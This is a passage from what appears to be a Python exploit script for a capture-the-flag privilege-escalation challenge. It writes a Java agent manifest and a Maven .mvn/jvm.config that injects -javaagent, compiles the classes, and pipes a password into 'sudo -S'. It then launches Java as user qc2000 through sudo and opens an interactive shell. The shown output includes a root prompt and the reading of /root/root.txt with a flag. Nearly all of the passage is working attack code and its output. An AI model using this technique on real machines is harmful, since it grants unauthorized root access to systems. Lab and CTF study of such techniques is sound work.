cat > {shlex.quote(agent_dir)}/MANIFEST.MF <<'EOF'
Manifest-Version: 1.0
Premain-Class: Agent

EOF
cat > {shlex.quote(proj_dir)}/pom.xml <<'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>x</groupId>
    <artifactId>x</artifactId>
    <version>1</version>
</project>
EOF
cat > {shlex.quote(proj_dir)}/.mvn/jvm.config <<'EOF'

```



```

-javaagent:/tmp/pom-wsl-root/agent.jar
EOF
javac {shlex.quote(work)}/RootLaunch.java
javac {shlex.quote(agent_dir)}/Agent.java
jar cfm {shlex.quote(work)}/agent.jar {shlex.quote(agent_dir)}/MANIFEST.MF -
C {shlex.quote(agent_dir)} Agent.class
printf '%s\\n' {shlex.quote(args.password)} | sudo -S -p '' -v
""

    output = session.run_script(prepare)
    if output.strip():
        sys.stdout.write(output)
        sys.stdout.flush()

    final_cmd = f"exec sudo -n -u qc2000 /usr/bin/java -cp
{shlex.quote(work)} RootLaunch\\n"
    session.send_text(final_cmd)
    time.sleep(0.5)
    immediate = session.drain(quiet=0.1, total=1.0)
    if immediate:
        os.write(sys.stdout.fileno(), immediate)
    if args.probe:
        output = session.run_probe(args.probe)
        sys.stdout.write(output)
        sys.stdout.flush()
        return 0
    session.interact()
    return 0

if __name__ == "__main__":
    raise SystemExit(main())

```

```

sh-5.2$
exec sudo -n -u qc2000 /usr/bin/java -cp /tmp/pom-wsl-root RootLaunch
root# ls
pom.xml
root# pwd
/tmp/pom-wsl-root/proj
root# cat /root/root.txt
flag{root-4a29b2f65b40052a804c0cc4afb906bd}
root#

```